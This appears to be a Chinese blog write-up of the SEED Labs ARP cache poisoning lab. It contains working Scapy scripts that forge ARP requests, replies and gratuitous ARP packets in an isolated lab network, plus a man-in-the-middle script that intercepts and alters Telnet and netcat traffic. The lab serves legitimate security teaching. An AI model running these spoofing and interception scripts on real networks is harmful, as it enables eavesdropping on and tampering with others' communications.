【SeedLab】ARP Cache Poisoning Attack Lab

目录

实验手册

实验环境

Task 1: ARP Cache Poisoning

Task 1.A (using ARP request).

Task 1.B (using ARP reply).

Task 1.C (using ARP gratuitous message).

 Task 2: MITM Attack on Telnet using ARP Cache Poisoning

Task 3: MITM Attack on Netcat using ARP Cache Poisoning


实验手册

ARP Cache Poisoning Attack Lab

实验环境

Task 1: ARP Cache Poisoning

         本节任务需要通过packet伪造发起ARP缓存毒害攻击。当HostA与HostB相互通信时,他们的ARP数据将被Attacker拦截并修改,使得Attacker成为HostA与HostB的中间人(中间人攻击)。当然,当前任务只关注ARP缓存毒害的部分。

Task 1.A (using ARP request).

        在Attacker的主机上向HostA发送一则ARP请求,使HostA的ARP缓存中,HostB的IP地址被映射为Attacker的MAC地址。

        首先在HostA上使用命令arp -n确保HostA此前没有记录HostB的IP-MAC映射。如果有,使用arp -d 10.9.0.x清除这条映射关系

        接下来需要使用ifconfig查询MAC地址,然后实现代码并在Attacker上运行这则代码。       

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
ether = Ether(src = MAC_M, dst = MAC_A)     # 定义Attacker发往HostA的数据帧
arp = ARP()         # 定义一个ARP报文
arp.op = 1          # 1 for ARP request; 2 for ARP reply
arp.psrc = '10.9.0.6'   # 伪造HostB发送的ARP请求
arp.pdst = '10.9.0.5'   # 发给HostA
arp.hwsrc = MAC_M       # 告诉HostA,发送方的MAC地址
sendp(ether/arp)    # sendp用于在数据链路层发送一个帧(不是send)

        此时,我们再在HostA上查询arp缓存,即可发现HostB的IP被映射为Attacker的MAC地址。


Task 1.B (using ARP reply).

        在Attacker的主机上向HostA发送一则ARP回复,使HostA的ARP缓存中,HostB的IP地址被映射为Attacker的MAC地址。在此之前,需要保证正确的IP-MAC关系存在于HostA的缓存中。

        我们在Attacker上运行以下代码

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
ether = Ether(src = MAC_M, dst = MAC_A)     # 定义Attacker发往HostA的数据帧
arp = ARP()         # 定义一个ARP报文
arp.op = 2          # 1 for ARP request; 2 for ARP reply
arp.psrc = '10.9.0.6'   # 伪造HostB发送的ARP回复
arp.pdst = '10.9.0.5'   # 发给HostA
arp.hwsrc = MAC_M       # 告诉HostA,发送方的MAC地址
arp.hwdst = MAC_A
sendp(ether/arp)    # sendp用于在数据链路层发送一个帧(不是send)

        此时查询HostA的ARP缓存,即可看到映射关系被修改。

         接下来,我们清空掉HostA的ARP缓存,在尝试一遍攻击。此时发现HostA虽然接收到了Attacker的ARP回复,但并没有将其写入缓存。这与Linux内核的策略有关。


Task 1.C (using ARP gratuitous message).

        在Attacker的主机上向HostA发送一则免费ARP,使HostA的ARP缓存中,HostB的IP地址被映射为Attacker的MAC地址。ARP免费包是一种特殊的ARP请求包,当主机需要更新其他机器上的ARP缓存时使用,这种数据包有以下特点:

        1. 目的IP与源IP相同,均为需要更新的映射关系的IP

        2. 目的MAC地址为广播地址

        3. 不产生回复报文

        接下来实现代码并在Attacker上运行,在此之前,确保正确的IP-MAC关系存在于HostA的缓存中。

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
ether = Ether(src = MAC_M, dst = MAC_BROADCAST)
arp = ARP()         # 定义一个ARP报文
arp.op = 2
arp.psrc = '10.9.0.6' 
arp.pdst = '10.9.0.6'
arp.hwsrc = MAC_M
arp.hwdst = MAC_BROADCAST
sendp(ether/arp)

        运行代码后,HostA中,关于HostB的IP-MAC映射关系被修改

        接下来删除HostA上的ARP缓存,重新发起攻击尝试,结果同Task1.B,关系不会被HostA计入缓存。

 Task 2: MITM Attack on Telnet using ARP Cache Poisoning

        HostA与HostB通过Telnet交换信息,而HostM通过改变两者数据传输路径截获他们的信息,即“中间人“攻击。基本方法即修改HostA和HostB的ARP映射,使A与B的数据均通过M转发。

        我们需要首先修改HostA和HostB的ARP缓存,使Attacker充当它们的“中间人”。

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
# 修改HostA的MAC映射
ether = Ether(src = MAC_M, dst = MAC_A)
arp = ARP(op=1)
arp.psrc = '10.9.0.6' 
arp.pdst = '10.9.0.5'
arp.hwsrc = MAC_M
sendp(ether/arp)
# 修改HostB的MAC映射
ether = Ether(src = MAC_M, dst = MAC_B)
arp = ARP(op=1)
arp.psrc = '10.9.0.5' 
arp.pdst = '10.9.0.6'
arp.hwsrc = MAC_M
sendp(ether/arp)

        接下来实现Attacker完成中间人攻击的程序。实现后不着急启动。注意,这里filter应使用MAC作为过滤条件而非IP,因为Attacker在send数据包时不会修改IP,会导致由Attacker发送的伪造包再次被Attacker接收篡改(相当于一种死循环)。

from scapy.all import *
MAC_A = '02:42:0a:09:00:05'
MAC_B = '02:42:0a:09:00:06'
MAC_M = '02:42:0a:09:00:69'
MAC_BROADCAST = 'ff:ff:ff:ff:ff:ff'
HOST_A = '10.9.0.5'
HOST_B = '10.9.0.6'
# 中间人攻击
def spoofing(pkt):
    # 截获A ---> B的数据
    if pkt[IP].src == HOST_A and pkt[IP].dst == HOST_B:
        newpkt = IP(bytes(pkt[IP]))
        # 删除校验和以及原有的携带信息
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)
        # 携带数据时,对数据进行处理再转发
        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            newdata = re.sub(r'[0-9a-zA-Z]', r'x', data.decode('utf-8'))
            # print(newdata)
            send(newpkt/newdata)
        else:
            send(newpkt)
        return
    # 截获B ---> A的数据
    if pkt[IP].src == HOST_B and pkt[IP].dst == HOST_A:
        # 不做处理直接转发
        # 注意数据包每经过一次路由转发,都会修改报文头信息,
        # 需要重新计算校验和
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt)
        return
filter = 'tcp and (ether src ' + MAC_A + ' or ' + 'ether src ' + MAC_B + ')'
pkt = sniff(iface = 'eth0', filter = filter, prn = spoofing)

        接下来开始实现中间人攻击。首先在HostA上远程访问HostB,使用命令telnet 10.9.0.6访问HostB。由于Linux主机默认进行路由转发,因此在telnet完成远程连接后,需要通过sysctl net.ipv4.ip_forward=0关闭Attacker的路由转发功能。接下来即可运行以上中间人攻击的代码,此时即可发现,在HostA键入的字符全部被替换为'x' 

Task 3: MITM Attack on Netcat using ARP Cache Poisoning

        程序保持不变,而是用nc进行HostA到HostB的交互。可以看出,A发往B的信息被M篡改。

        (使用ctrl+]进入telnet命令行页面,输入quit回车即可退出telnet远程)

        只不过这个Task需要先运行中间人攻击程序,然后在HostB使用nc -lp 9090监听9090端口,之后在HostA使用nc 10.9.0.6 9090发送消息,即可观察到以下现象

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值